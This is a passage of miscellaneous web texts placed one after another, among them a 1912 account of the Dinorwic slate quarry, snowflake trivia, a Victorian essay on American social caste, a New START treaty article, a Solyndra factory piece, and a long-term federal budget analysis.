time, this fact is sufficiently remarkable. The men grow old in the service, and
it is no uncommon thing to find a man of over seventy-five years still at work,
hale and hearty. In many cases, too, the trade is hereditary through many
Quarrying is done and paid for by the piece. Two men join together as
"partners," and receive a definite area of rock on which to work. This
allotment is called a "bargain." It is always 21 ft long, and ranges
up to a height of 75 ft. One of the partners works at the face of the rock
blasting and preparing the rough blocks which are loosened ; the other receives
it in their common shed and finishes oft the work. The two partners hire a third
man, known as their journeyman, a youth who has served a kind of apprenticeship
of about two years. Every two weeks the slate produced from each bargain is
calculated and paid for, the partners sharing, and jointly remunerating their
journeyman. Payment is made at so much per 100 slates, according to their size,
together with a certain poundage according to the quality of the slates
Most of the men live on the proprietor's land in Llanberis, Ebenezer, and
other villages. They are conveyed to the quarry by special carriages on the
quarry line, for which they pay a nominal sum. In former days they propelled
themselves along the rail on hand-worked velocipedes, turn and turn about-a
method both hard and dangerous to health. Some 300 men have their homes in
Anglesey; for these men Sir Charles has erected barracks in which they can live
while at work for the nominal charge of one shilling per annum.
Hours are from 7 a.m. to 5.30 in summer, and in winter from 8 a.m. to 4 p.m.,
with an hour for dinner, but the blasting intervals add up to a considerable
further period of rest. There are 23 working days in each month, the Saturdays
following the monthly pay-days being free. Other recognised holidays are Good
Friday, Easter Saturday, Easter Monday, Whit Monday, Harvest Festival, and
Serious accidents are remarkably few, and the majority of accidents which
occur are of the nature of small cuts and bruises from splinters of rocks. Sir
Charles Assheton-Smith provides a completely furnished hospital, which is free
to all his employees. There is a highly-qualified surgeon with a staff of
nurses, but it is satisfactory to learn that the in-patients are practically
never numerous enough to occupy the whole accommodation. There are nearly a
hundred pensions of £13 per annum, which are allocated to the deserving cases
as they fall vacant. But the work and the climate are so healthy, the men so
thrifty and contented in the mass, that both pensions and hospital are more than
The whole face of Elidir mountain is carved into terraces connected by steep
gradients, which give access from the lake level to the topmost workings, some
1,800 feet above the lake. Not even the purist in literary style could gainsay
the propriety of describing the quarry as colossal. As the visitor is conveyed
by the light railway round the base of the mountain, cutting after cutting,
precipice after precipice comes into his view. Cavernous recesses cut into the
heart of the rock, and an apparently endless series of terraces scar the grey
background of the hillside.
Even from the vantage ground of a terrace half-way up the quarry the highest
workings are out of sight ; from no spot can one see all the cuttings which have
been quarried into the wide curve of the mountain side. The total area of the
workings is no less than seven hundred acres.
The story of the slate from the moment of its removal from the solid rock to
its shipment in one of the quarry's steamers at Port Dinorwic [Y Felinheli] is
one of absorbing interest The first step is to blast the rock and detach
fragments of suitable size for working. This blasting requires great skill and
experience. If the explosion is too violent the slate will be shivered to atoms:
the charge must be carefully calculated and inserted in such a way as to detach
the required portion. The hole into which the charge is inserted is made by a
rod called a rock-drill, worked by steam or by compressed air, and capable of
drilling a hole seven yards deep.
Rigid regulations govern the blasting operations. They must be carried out at
fixed times and simultaneously at all the workings. At the appointed hour a
steam whistle sounds so as to be audible all over the quarry. Immediately all
the men, except those who are to fire the trains of powder, retire to specially
constructed shelters, which are absolutely proof against any rock which might be
shot into the air. At a second signal the fuses are fired, and the remaining men
join their comrades. A period of profound silence ensues, and then all the
quarry booms and thunders with a series of explosions. Five minutes after the
whistle blows again, and the men return to work on the detached masses of slate.
Each party is required to watch its own blast; and should any charge have failed
to explode, a signal is given, and all men in the vicinity are ordered to remain
in shelter for a full half-hour. If is frequently necessary to blast away
outcrops of useless rock, such as granite. Then more powerful explosives are
used, such as dynamite and nitro-glycerine. Of gunpowder alone the almost
incredible quantity of 90 tons is used annually in ordinary blasting.
SPLITTING AND TRIMMING.
Two processes are followed in working the rough blocks of slate-one by
machinery, one by hand. the finest qualities are so amazingly hard that
machinery is useless; no saw would be strong enough and the edges of the stone
would be chipped and splintered. Hence such slates are worked by hand with a
chisel and hammer. There is something almost uncanny in the way in which the
slates are split into layers of required thickness. The chisel is placed at any
point in the edge of the slate, and after one or two light taps of the hammer,
an even crack appears. the two layers are then gently pressed apart with their
new surfaces absolutely smooth and even. It is actually possible to divide thus
a slab one inch thick into sixteen separate slates. In practice, however, no
slates are made less than 1/6 inch thick. The quarryman's skill consists in
splitting in such a way as to avoid waste and to make the slates as large as
possible up to an ordinary maximum of 24 inches by 14.
The trimming is done by placing the slate upon a sharp edge, and breaking off
protuberances by short, sharp strokes with a kind of knife blade.
Cutting by machinery is a more economical method in the case of suitable
material. For this purpose circular saws are used. the work is accomplished with
greater accuracy and considerably less wastage. About half-way up the quarry
there is a large shed which contains some thirty of these saws driven by a
60-horse-power motor. For this and two other similar motors the power is
obtained from the North Wales Electric Power Company. Three wires carry a 10,000
volt current to the quarry, where it is reduced to 500 volts and distributed
round the upper parts of the workings, where water power is not attainable.
Tarddiad: Slate Trades Journal, Rhagfyr 1912 |
versão impressa ISSN 1665-109X
MARTINEZ SIERRA, Gustavo e ARELLANO, Yuridia. Representaciones sociales que del aprendizaje de las matemáticas tienen estudiantes de nivel medio superior. Sinéctica [online]. 2011, n.36, pp. 1-14. ISSN 1665-109X.
In this paper identifies, through the theoretical methodology of social representations, perceptions, ideas and images that the learning of mathematics have a group of students from high school in the area of Social and Administrative Sciences, National Polytechnic Institute. For the collection of information using two types of instruments with 60 students of sixth grade: 1) A questionnaire with open, and 2) group interviews. It was noted, among other results, the high degree of negative assessments of mathematics learning, consideration of the learning of mathematics as basic life skills and employment, the important role that gives the teacher and pay attention as means for the achievement of learning.
Palavras-chave : common sense knowledge; social representations; Middle School Level's students; of mathematics. |
:: The average snowflake has a top speed of 1.7 metres per second.
:: They are always hexagonal but the majority are not perfectly symmetrical - uneven temperatures, dirt and other factors usually cause them to be lopsided.
:: Enough snow fell in Britain on February 2 for everyone in the country to make a quarter of a million snowballs each, according to Carol Vorderman.
:: According to the Guinness Book of World Records, the largest snowflake on record measured 38cm wide and 20cm thick. It was observed in Montana, USA in 1887 and described by witnesses as "larger than a milk pan".
:: It is a myth that Eskimos have 100 different words for 'snow'.
:: Chionophobia is a fear of snow.
:: The world's largest snowman was actually a snowwoman. Residents of Bethel, Maine built the 122 ft giant in 2008, giving her 30 ft spruce trees for arms and skis for eyelashes.
:: Around 12 per cent of the Earth's land surface is covered in permanent snow and ice.
:: Japanese scientists have developed a snow-eating robot, fitted with GPS, which shovels snow from the drive and compacts it into ice bricks.
:: It is possible to grow your own snow. Kenneth G Libbrecht, Professor of Physics at the California Institute of Technology, claims it can be done simply using dry ice, a plastic cola bottle, three Styrofoam cups, nylon fishing line and a paper clip. See how it's done. |
Society in America is not an entity. It is rather the reflection of the mood of the individual who is contemplating it, the incarnation of certain tastes, and has neither locality nor measurement. For some it possesses elasticity, for others immobility; all desire to enter where many have disappeared in an apotheosis of self-laudation, and when there find that their circle is not society, which is ever beyond and ever narrowing.
One lady, a leader of Boston fashion, stated that though " society " consisted of about twenty-five families, yet in the invitations to a general ball it might be safe to include from four to six hundred persons. Society, though not existing per se, is deified as a goddess; its decrees are passports, or edicts of social banishment and death; a knowledge of its laws is the preliminary, and obedience to them the final, requisite for admission. There is no New England, no New York, no Western society; there was Southern society, founded on inheritance of name, on ownership of land and slaves; but so long as there are annual governmental changes in the body politic, and constant reverses of private fortune, through the money markets and opportunities for Bonanza stock, and the advantages of high school in the East and of college education in the West offered free to all, there never can be a dominant force,—society. Manner conquers society sooner than wealth or education; an individual is relegated to his proper social sphere, in the minds of all spectators, as soon as he enters a room. The depth of his bow, the tones of his voice, and the breadth of his smile have averaged him. Manner, however, is constantly reinforced by mind, and the republican mind is one of growth. The absurdity of American social life is to talk of entering society; for as soon as an American tries to bring society into focus to be interviewed, it divides itself into numerous facets of prismatic brilliancy. As a protest against any attempt to define society stands Mrs. Whitney's We Girls; in which some girl invites some one "next" to her, and that next some one next in turn to her, till finally the whole village is related in a community of interests.
This constant enlargement of a social sphere, or the infinite subdivisions of acquaintanceship, prevent society (granted for the moment that such all entity exists) from being a unified power for evil or good; while because there is no such thing as society in itself, but circles of individuals combining for social purposes, these circles represent the social and educational force of life in its less specialized aspects. The absence of any one social power is the safety valve of American life; and any person who has been so unfortunate as to have lived, moved, and had his social being in only one set becomes thoroughly provincial.
The power of society as a unit reached its fullest exemplification in the days of the early French salons. The salon was to Paris what the newspapers and monthlies now are to us. Then the salon made public opinion, and literary criticism was a matter of experience and reflection. Even now the French critic imbibes the mental atmosphere of his equals, and thinks and weighs before he writes; whilst many of our critics go tired from the theatre, lecture, or concert to the newspaper office, to have put in type their fresh opinions, -perhaps slightly tinged by the headache or their somnolent condition,- which the public next morning adopt as the general way of right thinking; forgetting that a critic is but one person, after all, (and possibly, also, not one fortunate in so-called social recognition), and that the impressions of an evening or of quick reading are less valuable than the criticisms of lengthier observation and reflection. Our critics are often only what are denominated as literary hacks; honest and true as fur as in their power lies, but under the necessity of daily production, which must injure original quality and expression. Yet they exercise upon the public the formative power of the old salon, and render null any necessity for its existence. The second reason for the absence of salons lies in the non-existence of any one circle of people who, by virtue of inheritance, actual deed, or promissory note, can definitely establish and maintain their own social boundaries. American life is too busy for definition; men are too tired, women too anxious, to feel the delight of constant recreation through conversation at one another's firesides; we are all so willing to be hospitable by the blazing warmth on our own purchased or ancestral andirons that there are few who go out for others' entertainment. We are all at home-to nobody. Moreover, in a salon half the world were eager listeners, forgetful of themselves; but now we all must talk to prove our position, express ourselves to show that we have mind, or else look wise, hoping to see, by the swelling on our brows, the growth of the thought within.
American society is an anomaly which must puzzle all those who do not believe in it; who do not see that its varying centres are but eddies on the surface of the fixed conviction that one man is the equivalent of another in capacity, and that his failure to prove it by results is the consequence of circumstances beyond his individual control. It is this fixed belief which constitutes the essence of American impudence, boasting, aggressiveness, want of grace, and knock-you-down manner. It is also the source of our sturdy independence, our valuation of character as the final estimate, our reliance upon the common sense of our enemy rather than on the glittering generalities and evasions of our friends. As soon as these social variations are perceived, we become conscious that caste rules in American life with an iron rod, tempered only by the fiery furnace of much wealth or rare intellectual ability: the lower we descend, in what is called social life, the more perceptible become its demarkations. In the working class its sway is omnipotent. A marriage between the rag picker who carries her rags on her back and the man who rolls them in a wheelbarrow is contrary to all the rules of propriety, and ends in family feuds. The regular visitant at hotel cupboards who receives pie is farther removed from the tattered mendicant at back-doors than a member of the diplomatic corps from a native of Washington. In a certain well-known alley resided a shrewd brother and sister of twelve and fourteen, who assigned to each of the other dwellers his proper place in the social status of the by-way, through sumptuary laws of their own devising. These little magnates stayed at home, and sent their agents begging; all food so obtained was delivered into their keeping, and then portioned cut, as the Educational Bureau would say, not according to "the illiteracy of each section, but according to its geographical area." Shapeless pieces of bread and cold flapjacks were for the tenants of cellars and attics; muffins and tit-bits of croquettes were for those who occupied the ground-floor and middle stories of the tenements.
Among the workingwomen is a feeling of exclusiveness most noticeable, while with workingmen it is no more prominent than with professional men. "It is this spirit of caste," says a workingwoman of fifty years, “which keeps us all down. If we could nag one another it would be some gain, but we avoid one another instead. There is no union among in, never was, except for a little while through the French International Association, which has died out. We never can raise ourselves from the bondage of ill-paid labor till we combine, and most of us would rather starve to death than associate with those beneath us." Another one complains that "the skilled workwomen pride themselves too much upon their skill to be willing to pull up the unskilled, just as in the professions a good lawyer or physician will not take a poor partner. It is social ambition, caste, that rules us; it begins with us, and goes up and up to kings and emperors. A woman with many servants despises her with one, and she with one despises the woman who does her own work, and she who does her own work looks down upon her who goes out to work, and the one who goes out to do special housework scorns the scrub-woman, who is the end of womankind."
Many of these people feel that the higher grades of labor can be protected only by recognition of social lines, and talk of "the laziness and ignorance of the lower class of workingwomen." Even when out of employment, or perhaps engaged in some "uncongenial occupation as a temporary make-shift," they still feel keenly that they "belong elsewhere." "Am honest workingwoman," said one of them, "whether of the upper or lower grades of labor, holds herself infinitely superior to the trashy, flashy sort. We may not get work, but we can go from work to poverty, poverty to exhaustion, from exhaustion to death, but not to sin,—those who follow that are a different class, with which we have nothing to do."
In a conversation with several of them, it was asked, "What is the real grievance of the workingwomen?" And the general answer was, that it was due to the spirit of caste, which prevented combination and cooperation, the two agents that could lighten the burdens of ill-paid labor; yet they had sufficient intelligence to see that social union among themselves must first be effected. The stern self-restraint, the power of self-sacrifice, the delicacy of taste, refinement of feeling, appreciation of knowledge, and acts of touching kindness to one another that are found among hundreds of them do not negative the statement that the social line, based on kinds of labor, is closely drawn among them.
"Kindness based upon equality! " exclaimed one woman. "No, it is kindness band on caste. It is Arlington Street and Fifth Avenue that make the North End and the Battery. Employers don't care for employees. If a firm give their girls parlors, lunch or sleeping rooms, it isn't because they care, but because they can get more out of us if we are comfortable. Your republican government does n’t do away with caste; it is the population to a square foot that makes poverty, and according to the laws of caste it is only for the poor to emigrate. Did you ever hear of a rich man emigrating to make room for others? He squats forever, and it is n't called squatting. Talk of emigration and agriculture to factory and city folks, who have neither money nor health to emigrate! We working-people don't envy you your pie or your pictures, if we can have bread. It is the deeper thing which makes us indignant: it is being called fools and simpletons by our employers, and bearing it, because we must have the one dollar. Labor is owned, and women are owned more than men, and will be until they can dare on combine and dare to refuse offers of ill-paid work, larded with harsh words and lunch privileges." |
Noah 4-Week Children's Ministry Curriculum
Teach Kids to Trust God Like Noah Did
Kids will see that Noah is not just a nursery story, it is a true story to teach us to trust God completely like Noah did.
Noah Lessons Overview:
Memory Verse: “Trust in the Lord with all your heart and lean not on your own understanding; in all your ways acknowledge him, and he will make your paths straight.” Proverbs 3:5-6
Build an Ark: No matter what other people think, we need to be obedient to God. Genesis 6. Noah builds the ark.
Ship Shape: We need to clean our lives of sin and bring in only good things.
Genesis 7. Noah takes his family and animals on the ark; the world is destroyed.
Nowhere to Land: Sometimes following God means waiting for God.
Genesis 8. Noah waits for the flood waters to recede.
The Promise: God promised to make a way to save the whole world from sin. Genesis 9:8-17. God puts a rainbow in the sky, a reminder of his promise.
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Sometime this fall, the senate will take up debate over the New Strategic Arms Reduction Treaty, which was signed in April by President Obama and his Russian counterpart, Dmitri Medvedev. It takes two-thirds of the Senate to ratify a treaty, which is why in this political climate despite endorsements from dozens of generals and national-security officials passage is no sure thing.
The debate will be fierce, though most of the opponents' arguments are irrelevant. For instance, they contend that the treaty forces the U.S. to cut more missiles than the Russians true, but the Russians will have to cut more warheads, i.e., more nuclear weapons. They note that the Russians have threatened to pull out of the treaty if the U.S. greatly expands its missile-defense program true, but Article XIV allows both sides to pull out for any reason they want, and besides, the U.S. Missile Defense Agency's officers firmly support the accord.
But there are big questions about nuclear weapons that probably won't be discussed at all. For instance: Why did these two nations build so many of them in the first place? (At the peak of the arms race, in the mid-1960s, the U.S. had more than 30,000.) Under the treaty, the U.S. and Russia will each be limited to 1,550 long-range warheads; but beyond a certain point, does it matter how many they have 1,500 or 1,000 or 100? What are the prospects of cutting the arsenals down to zero nukes, as President Obama has proposed? Is that a goal worth pursuing? And does the New START Treaty, as the accord is known, mark a first step toward getting there?
The atomic age began with the bomb dropped on Hiroshima on Aug. 6, 1945. The Soviet Union built its own A-bomb four years later. The U.S. soon followed with a hydrogen bomb that could deliver the blast power of millions of tons (megatons) of TNT, not just thousands (kilotons). The arms race proceeded at a trotting pace through the '50s, when each side built bomber planes with the range to strike the other's territory and also deployed "tactical" nuclear weapons (in the form of artillery shells, short-range missiles and even land mines) to deter, or to be used in, a war in Europe.
How the Arms Race Exploded
Not until the 1960s did the arms race really take off, as each side fielded massive numbers of intercontinental ballistic missiles (ICBMs), which could strike the other's soil with little warning. At that point the arms race jerked into an arms spiral. Each side was aiming most of its ICBMs at the other side's ICBMs, so when one side fielded more, the other followed suit.
The turning point came in 1960, during the final months of Dwight Eisenhower's presidency, when the U.S. military, led by the Air Force's Strategic Air Command (SAC), devised the first formal nuclear war plan, called the SIOP (pronounced sigh-op), short for Single Integrated Operational Plan.
Until then, each branch of the military the Army, Navy and Air Force had been building its own nuclear arsenal and writing its own war plan, with no collaboration whatsoever. The idea behind the SIOP was to impose some order on the entire arsenal and create a national war strategy.
But SAC used the occasion to justify building more nuclear weapons, mainly Air Force weapons. The U.S. strategy (enshrined in Eisenhower's "massive retaliation" policy) was this: If the Soviets attacked the U.S. or Western Europe, even if no nukes were fired in the process, the U.S. would launch all of its nuclear weapons against every target in the Soviet Union, Eastern Europe and communist China. (The U.S. had little ability to defend Western Europe with conventional arms at the time, and it was widely believed that the U.S.S.R. and China formed a monolithic alliance.)
The SIOP determined which weapons would be fired or dropped on which targets. The calculations that went into the plan were hair-raising, resulting in tremendous overkill. At one point, Eisenhower sent his science adviser, George Kistiakowsky, to SAC headquarters in Omaha to be briefed on the new plan. One of his aides, a weapons scientist named George Rathjens, leafed through SAC's atlas, looking for the Russian city that most resembled Hiroshima. When he found it, he asked an SAC officer how many weapons the SIOP "laid down" on that city. The reply: one 4.5-megaton bomb and three 1.1-megaton bombs, in case the first was a dud 7.8 megatons in all more than 600 times the explosive power of the mere 12.5-kiloton bomb that demolished Hiroshima. |
Robotics manufacturing tends to evoke visions of a John Henry-esque scenario in which competent women and men lose jobs to hunks of automated metal.
But in the case of Solyndra it may be robots that help American workers compete more effectively against China's low-cost labor force.
Consider the video that solar manufacturer Solyndra released this week illustrating how thin-film CIGS (copper, indium, gallium, and selenide) solar modules are produced.
In reality, the video (see below) is a showcase for the company's new state-of-the-art solar manufacturing plant, built with a, and $198 million in funding led by Argonaut Private Equity.
The futuristic Solyndra Fab 2 integrates robotics manufacturing with 1,000 human workers to build unique cylindrical solar modules. Thethat facilitate the capture of direct, diffuse, and reflected sunlight, which maximizes efficiency while making rotation toward the sun throughout the day unnecessary, according to Solyndra.
Solyndra's video shows an impressive cadre of robots, with workers directing their automated partners from laptops or from touch screens mounted on walls. The narrator tells of RFID tags enabling parts to be traced and directed to where they need to go, special LED lights used to mimic solar rays in quality checks, and a manufacturing capacity that will eventually ramp up to 1 million solar modules a week.
But this Fab 2 showcase is not just a pitch for Solyndra. It's a pitch for American technology prowess.
President Obama used Solyndra as the backdrop for his "We've got to go back to making things" speech in May. The White House has also been holding the company up as a positive example of U.S. green tech and manufacturing innovation. California Gov. Arnold Schwarzenegger and U.S. Energy Secretary Steven Chu were both present at Fab 2's groundbreaking ceremony.
It's also test case for whether America can still be competitive when it comes to manufacturing.
Solyndra makes thin-film flexible solar modules using CIGS cells, rather than silicon, as the absorbent layer. This alternative to traditional solar panels had an edge in the past because they were inexpensive to manufacture and install compared to silicon solar cells. But as China has ramped up its silicon solar production and the cost of manufacturing silicon solar cells has dropped, there has been a changing dynamic in the industry.
Solyndra announced in early November that it was closing its old manufacturing plant near Fab 2. The change resulted inand another 150 subcontractors not having their contracts renewed.
At the time, the company said that its old plant was simply not able to keep up with production at a competitive or cost-effective rate. Coincidentally, a month earlythat many said would further redefine the economics of manufacturing.
The Fab 2 plant is much more efficient and will reduce production costs compared to its old facility, Solyndra CEO Brian Harrison has told The New York Times.
Only future financial reports from Solyndra will reveal whether Fab 2 and its team of robots and humans is really efficient enough to compete globally against both silicon solar and thin-film counterparts. |
Fungal Families of the World
The Dictionary of the Fungi has been published continuously by CABI from it's outset in 1943 to the latest (tenth) edition in 2008. The primary feature of the Dictionary is an authoritative consensus classification of the fungi, that has been widely accepted as an enabling and informing framework for research into pure and applied mycology.
Fungal Families of the World has been conceived as an illustrative and more approachable companion to the Dictionary. Second it provides further substantial information on the 536 currently accepted families of Fungi, with more detailed descriptions and notes on ecology, economic uses, and the like. Third (and perhaps most importantly), it depicts the extraordinary range of morphological structures found in fungi, celebrating myco-diversity and perhaps stimulating interest in mycology by those individuals outside the inner circle of fungal systematists.
The taxonomic framework for Fungal Families of the World is based upon that of the ninth edition of Dictionary but has been substantially updated to confirm with the findings of two major US-led research projects on fungal systematics, popularly referred to as Deep Hydra and AFTOL (Assembling the Fungal Tree of Life). The book contains images for over 400 families of the Fung, representing substantially wider fungal diversity than has been achieved before in a single publication. Where practical illustration of both macroscopic and microscopic features have been included.
Fungal Families of the World will be of great value to students and researchers in biology, ecology and conservation, to mycologists, agriculturalists and foresters and serves as an informative companion to the Dictionary of the Fungi.
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KALPETTA,AUGUST 30, 2017 23:30 IST
UPDATED: AUGUST 30, 2017 23:30 IST
‘Presence of birds show conservation significance of the Brahmagiri grasslands’
A three-day monsoon bird survey, organised jointly by the Forest Department, College of Forestry, Thrissur, and the Hume Centre for Ecology and Wildlife Biology (HCEWB), in the North Wayanad Division recently recorded 92 species.
No bird surveys have been conducted in the forest division in the past eight years. The survey found five species of bulbuls, seven species of babblers, five species of pigeons, and three species of raptors. It recorded Bright Headed Cisticola and broad-tailed grassland birds in the higher grasslands of the Brahmagiri hills. “Presence of these birds showed higher conservation significance of the Brahmagiri grasslands,” C.K. Vishnudas and R.L Rathish of the HCEWB, which performed scientific and technical coordination of the survey, told The Hindu. |
From the 1860s until the late 1930s, both visitors and locals enjoyed the food and entertainment offered in the plazas of San Antonio by the Chili Queens.
These women served chili con carne and other Mexican American foods from dusk until dawn at the San Antonio plazas — setting up tables and benches and bringing pots of food to cook or reheat over mesquite fires and to serve by the light of oil lanterns. Wandering musicians and singers provided a festive air.
Visiting writers such as Stephen Crane, author of The Red Badge of Courage, were charmed by the Chili Queens. He recalled in 1895 that “upon one of the plazas, Mexican vendors with open-air stands sell food that tastes exactly like pounded fire-brick from Hades — chili con carne, tamales, enchiladas, chili verde, frijoles.”
O. Henry, who visited San Antonio in the 1880s and 1890s, wrote in his short story, The Enchanted Kiss, that “the nightly encampments upon the historic Alamo Plaza, in the heart of the city, had been a carnival, a saturnalia that was renowned throughout the land.”
Originally, diners found the Chili Queen tables in the city’s first marketplace, Military Plaza, but only until City Hall was built there in 1889. The Chili Queens moved to Market Square and, after the city built the Municipal Market House in the square in 1900, they moved west to Haymarket Plaza and Milam Park, near Commerce and Santa Rosa streets.
The chili stands were closed by the City Council at various times over the years for sanitary reasons, but public outcry would soon cause them to reopen. Slowly, the number of Chili Queens dwindled, and finally, in the early 1940s, the City Health Department closed their stands permanently because they deemed the dishwashing methods unsanitary.
But the REAL heirs to the Chili Queens are San Antonio’s food trucks. And a chili delicacy invented in San Antonio is the Frito Pie. You can combine both traditions at the Chamoy City Limits, a food truck parked at Lion’s Field (2809 Broadway, at the intersection of Mulberry) on Saturdays from 1:00pm until 7:00 pm. They also serve raspas (flavored shaved ice) that included Chamoy (a sour/sweet/spicy/salty condiment derived from pickled fruit, chili peppers, sugar and citrus.)
Some other places to get your Frito Pie fix are the B&D Ice House (1004 S Alamo, in the King William District); The Esquire Tavern (155 E. Commerce, near the Alamo) or Sam’s Burger Joint (330 E. Grayson, near the Pearl.)
So what is a Frito pie? It’s Frito corn chips (d’oh) topped with chili, shredded cheese and usually onions. The “authentic” version is served out of the Fritos bag but it’s fine to eat it out of a bowl. |
The twentieth century was ground-breaking in a multiplicity of fields, including psychology and education. The attempt to develop the understanding on how humans learn was a challenge upheld by a “huge and diverse cast of characters” (Harré, 2006: p7), with some cast so prolific that they didn’t only affect the classroom but “have left an enduring mark on our understanding of ourselves” (Harré, 2006: p7). For this essay, I will describe and reflect on theories of Burrhus Fredrick Skinner and Jerome Bruner, particularly Operant Conditioning and Cognitive Learning and apply them to an educational setting.Jerome Bruner (1915-2016) is renowned as one of the most significant and influential cognitive and constructivist theorists of the twentieth century and specifically developed “the study of the mental processes of thinking” (Harré, 2006: p49). His initial focus was the development of human cognition but psychology at Harvard, according to Bruner had become “centrifugal” (Bruner,1983: p252). In turn, this prompted his studies into child cognitive development. |
Horticulture is the industry that produces and maintains plants for human use. Successful horticulturalists understand the science of soil management and plant production. They combine their knowledge with their creative skills to develop products and services that people need and want. The horticulture industry is expanding and it offers people a rewarding and exciting career in areas such as landscape design and maintenance, food production, and plant production for aesthetic and pharmaceutical use. This course provides a broad reaching education to those interested in a career in horticulture. Throughout the year students make several field trips to a range of horticultural businesses. Excellent facilities enable the practical application of course work. There are five hectares of landscape on site including; nursery stock, fruit/ vegetable production, glasshouse, and natural/synthetic sports pitches.
QQI Level 5
Royal Horticultural Society Level 2 Certificate in Horticulture
One year full-time
Leaving Certificate, L.C.A. or equivalent, with some practical experience in horticulture desirable. Mature students without formal qualifications are welcome to apply for places on this course. All applicants are interviewed and places are awarded on suitability.
The following subjects may be offered:
- Plant Protection
Equips the learner with the knowledge, skill and competence to protect horticultural plants and crops from the effects of weeds, pests, diseases and disorders and to select appropriate control measures.
- Plant Science
Examines plant structure, plant processes, and growth & development in a horticultural context.
- Plant Identification & Use
Covers identification of a wide range of horticultural plants, their characteristics, and their use in different horticultural situations.
- Soil Science & Growing Media
Examines soils and growing media with regard to their utilisation in a horticultural context.
- Garden Design
This module examines the history of garden design and its principles. It also equips the learner with the knowledge, skill and competence to carry out basic garden design.
- Turf Grass Establishment & Maintenance
Equips the learner with the knowledge and skills to establish and maintain amenity turf grass.
Covers verbal and non-verbal communication in relation to the horticultural industry.
- Work Practice
Prepares the learner for work in the horticultural industry.
- Word Processing
Equips the learner with the knowledge and skill to use a word processing application to complete a variety of tasks.
Career opportunities exist in Landscape Construction and Maintenance, Landscape Design, Garden Centre or Nursery Operations, Fruit and Vegetable Production.
390 CAO points can be earned by students on successful completion of this course.
- CSN: Greenkeeping and Sports Turf Management (6M4330)
- CSN: Landscape & Nursey Management (6M4234)
- CIT: BSc Horticulture (CR011)
- CIT: BSc Herbal Science (CR330)
- WIT/Kildalton College: BSc Horticulture (WD096)
- WIT/National Botanic Gardens: BSc Horticulture (WD097)
- UCD: BAgrSc Hons Horticulture, Landscape and Sports Turf Management (DN272)
- UCD: BSc Hons Landscape Architecture (DN120)
For the duration of the course students are provided with the opportunity to work with a commercial enterprise for a minimum of one day per week. This work placement will take place under the supervision of a qualified Horticulturist. Students propagate plants at a commercial glasshouse throughout the year and organise a plant sale in May of each year. |
Even if you think government budget numbers are generally not very interesting (and they do tend to blur together into an eye-glazing morass), here's a number to quicken the pulse: $45.5 trillion. That's the size of the long-term gap between the federal government's projected outlays (future spending plus current debt) and its projected revenues. Most government budget projections look only a brief distance into the future—a year, perhaps, or ten at the most. But Jagadeesh Gokhale and Kent Smetters, economists working at the Federal Reserve Bank of Cleveland and the University of Pennsylvania, respectively, have looked further into the future and determined that, in effect, if the U.S. government were a company its owner would have to pay a rational investor $45.5 trillion to take it off his hands. To put this figure in perspective: the entire U.S. economy generated only about $10.4 trillion last year, and total household wealth is currently only about $39 trillion.
This year the national debt is likely to hit $7.5 trillion, or about $25,600 for every American. But each American's share of the government's long-term unfunded liabilities—meaning tomorrow's debt as well as today's—comes to about $156,000. Though no single generation will have to cover the whole $45.5 trillion (and the generations that are already in or very near retirement may not need to cover any of it), ultimately some Americans will have to pay, through dramatically higher taxes or dramatically reduced government services or both.
Of course, warnings about government deficits have taken on something of a Chicken Little quality over the past twenty years. Since the end of World War II the annual budget has been in balance or surplus only eight times out of fifty-eight—and the sky has yet to fall. This is because even perpetual deficits are sustainable as long as the economy expands faster than the national debt. Moreover, budget forecasts frequently change with unexpected increases in tax revenue, changes in the business cycle, policy alterations, and other factors, which can suddenly turn presumed future shortfalls into surpluses and vice versa. Today the Congressional Budget Office's baseline ten-year projections show a deficit on the order of $1.4 trillion—but projections made just three years ago showed a ten-year budget surplus of $5.6 trillion.
The long-term imbalance between the amount of taxes that Americans are accustomed to paying and the level of government services that Americans are accustomed to receiving will not, however, be changed by any alterations in short-term projections. Under any reasonable set of assumptions about economic growth, the natural growth rate of health-care costs, and other important factors, the gap between what we expect to pay and what we expect to receive is enormous. The magnitude of this looming gap has been masked for the past several decades by a demographic blip—the Baby Boom, which for nearly forty years has provided a large base of workers who contribute payroll and income taxes while consuming relatively few government services. In 2012, however, when the first Boomers hit retirement age, the situation will begin to reverse: a large proportion of the population will begin drawing more heavily on government services, while the relative number of taxpaying workers will start to shrink. Today there are nineteen elderly for every 100 working-age Americans; by 2050 there will be thirty-five for every 100. This means trouble: in 2015 Medicare taxes will fall short of Medicare expenditures for the first time; in 2018 Social Security payments will outstrip payroll-tax revenues. In short, if we don't make policy changes soon, the government's financial situation will begin imploding within the next ten years.
The implications are profound: by 2050 the very nature of the federal government may be radically different. At the extremes the country has two basic options. One is to retain Social Security and Medicare as broad middle-class entitlements, maintain Medicaid, hold defense spending near present levels (about 3.5 percent of GDP), and keep the rest of the government at its current size. In this scenario federal spending would grow from 19.5 percent of GDP today to 39.7 percent in 2075, resulting in a government proportionally larger than Germany's or France's. To fully cover a U.S. government of this size, lawmakers would need some way to permanently increase tax revenue by 70 percent a year—beginning today.
The second option is to hold taxes near current levels—they have ranged from 17 to 20 percent of GDP every year since 1960—while ending entitlements as we know them. If we decided that we wanted to keep taxes relatively constant, we would need to cut Medicare, Medicaid, and Social Security benefits in half immediately; if we waited longer to act, the cuts in those programs would have to be even deeper. The social impact of such cuts could be mitigated by, for example, subjecting Social Security and Medicare benefits to a means test, so that benefits would be reduced more (or entirely) for affluent citizens; compared with across-the-board benefit reductions, this would hold down increases in poverty and poor health among the elderly. But any cuts of this magnitude would still be likely to increase poverty, make three-generation households more common (as some seniors were forced to move in with their children), and perhaps even reduce the average American life-span, since many poor and elderly people would no longer be able to afford medical care.
To put into perspective just how large a share of government expenditures entitlement programs are expected to consume over the coming decades, consider a third option: Couldn't we manage to keep tax levels constant and retain Medicare and Social Security if we were willing to eliminate, permanently and completely, all other government spending on everything including the military? Nope; wouldn't work. The gap between tax revenues and entitlement expenditures is so large that not even reducing the federal government to a shell would close the long-term deficit. |
The push for blue carbon
While blue-carbon scenarios abound, investment hinges on the details – including the development of a rigorous, internationally accepted accounting system
By Bianca Nogrady
Photo: Donna Squire, Deakin University
The term ‘carbon farming’ usually conjures images of land-based agricultural and forestry initiatives. But there’s a new kid on the carbon-farming block, and it occupies the rich ecological niches that hug Australia’s extensive coastline.
